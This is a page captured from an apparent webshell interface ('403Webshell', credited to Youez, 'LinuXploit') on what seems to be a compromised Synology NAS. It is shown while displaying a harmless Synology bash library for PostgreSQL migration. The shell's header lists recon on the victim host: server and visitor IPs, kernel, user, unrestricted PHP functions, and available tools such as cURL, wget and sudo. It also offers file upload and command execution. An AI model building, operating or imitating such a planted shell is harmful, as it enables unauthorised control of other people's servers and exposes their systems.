403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/synoindex/sql/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/synoindex/sql/lib/base.sh
#!/usr/bin/env bash
# Copyright (c) 2000-2014 Synology Inc. All rights reserved.

if [ -z "$UPGRADE_FOLDER_PATH" ]; then return; fi

if [ ! -z "$SYNO_LIBSYNOINDEXUTILS_DB_MIGRATION_LIB_BASE_SH" ]; then return; fi
SYNO_LIBSYNOINDEXUTILS_DB_MIGRATION_LIB_BASE_SH=yes

# Binary
PSQL="/usr/bin/psql"

# Path
UPGRADE_LIB_PATH="${UPGRADE_FOLDER_PATH}/lib/"
UPGRADE_MEDIASERVER_PATH="${UPGRADE_FOLDER_PATH}/mediaserver/"
MEDIASERVER_LEGACY_UPGRADE_PATH="${UPGRADE_MEDIASERVER_PATH}/legacy-upgrade/"
MEDIASERVER_INIT_SQL="${UPGRADE_MEDIASERVER_PATH}/mediaserver.pgsql"
MEDIASERVER_UPGRADE_BINARY_DIR="${UPGRADE_MEDIASERVER_PATH}/bin/"
UPGRADE_SYNOINDEX_PATH="${UPGRADE_FOLDER_PATH}/synoindex/"
SYNOINDEX_INIT_SQL="${UPGRADE_SYNOINDEX_PATH}/synoindex.pgsql"
SYNOINDEX_UPGRADE_SQL_PATH="${UPGRADE_SYNOINDEX_PATH}/upgrade/"

# Constants
MEDIASERVER_DATABASE="mediaserver"
INDEX_DATABASE="synoindex"
DB_ADMIN="postgres"
DB_USER="MediaIndex"

ExecSqlInDB()
{
	local db_name=$1
	local sql_command=$2
	$PSQL -U $DB_ADMIN -d "$db_name" -c "$sql_command" > /dev/null 2>&1
}

ExecSqlInDBAndCaptureOutput()
{
	local db_name=$1
	local sql_command=$2
	local output
	output=$($PSQL -U $DB_ADMIN -d "$db_name" -qAt -c "$sql_command") || true
	echo "$output"
}

ExecSqlCommand()
{
	local sql_command=$1
	$PSQL -U $DB_ADMIN -c "$sql_command" > /dev/null 2>&1
}

ExecSqlCommandAndCaptureOutput()
{
	local sql_command=$1
	local output
	output=$($PSQL -U $DB_ADMIN -qAt -c "$sql_command") || true
	echo "$output"
}

ImportSqlScript()
{
	local db_name=$1
	local script=$2
	$PSQL -U $DB_ADMIN "$db_name" < "$script"
}

#######################################
# Test the existence of a column in the database
# Globals:
#   None
# Arguments:
#   $1: database
#   $2: table
#   $3: column
# Returns:
#   1: column doesn't exist
#   2: database doesn't exist
#######################################
TestColumn()
{
	local db_name=$1
	local table_name=$2
	local column_name=$3
	echo "test $column_name in $table_name table in $db_name DB"
	ExecSqlInDB "$db_name" "SELECT $column_name FROM $table_name LIMIT 1"
}

#######################################
# Test the existence of a table in the database
# Globals:
#   None
# Arguments:
#   $1: database
#   $2: table
# Returns:
#   1: table doesn't exist
#   2: database doesn't exist
#######################################
TestTable()
{
	local db_name=$1
	local table_name=$2
	echo "test $table_name table in $db_name DB"
	ExecSqlInDB "$db_name" "SELECT * FROM $table_name LIMIT 1"
}

#######################################
# Get DB version from config table
# Globals:
#   None
# Arguments:
#   $1: database
# Returns:
#   DB_VERSION
#######################################
GetDbVersion()
{
	local db_name=$1

	local output
	output=$(ExecSqlInDBAndCaptureOutput "$db_name" "SELECT value FROM config WHERE key = 'version'")
	echo "$output"
}

#######################################
# Update DB version from config table
# Globals:
#   None
# Arguments:
#   $1: database
#   $2: version
# Returns:
#   0: success
#   1: update failed
#   2: database doesn't exist
#######################################
UpdateDbVersion()
{
	local db_name=$1
	local db_version=$2

	echo "update version to $db_version in $db_name DB"
	ExecSqlInDB "$db_name" "UPDATE config SET value = '$db_version' WHERE key = 'version'"
}

Youez - 2016 - github.com/yon3zu
LinuXploit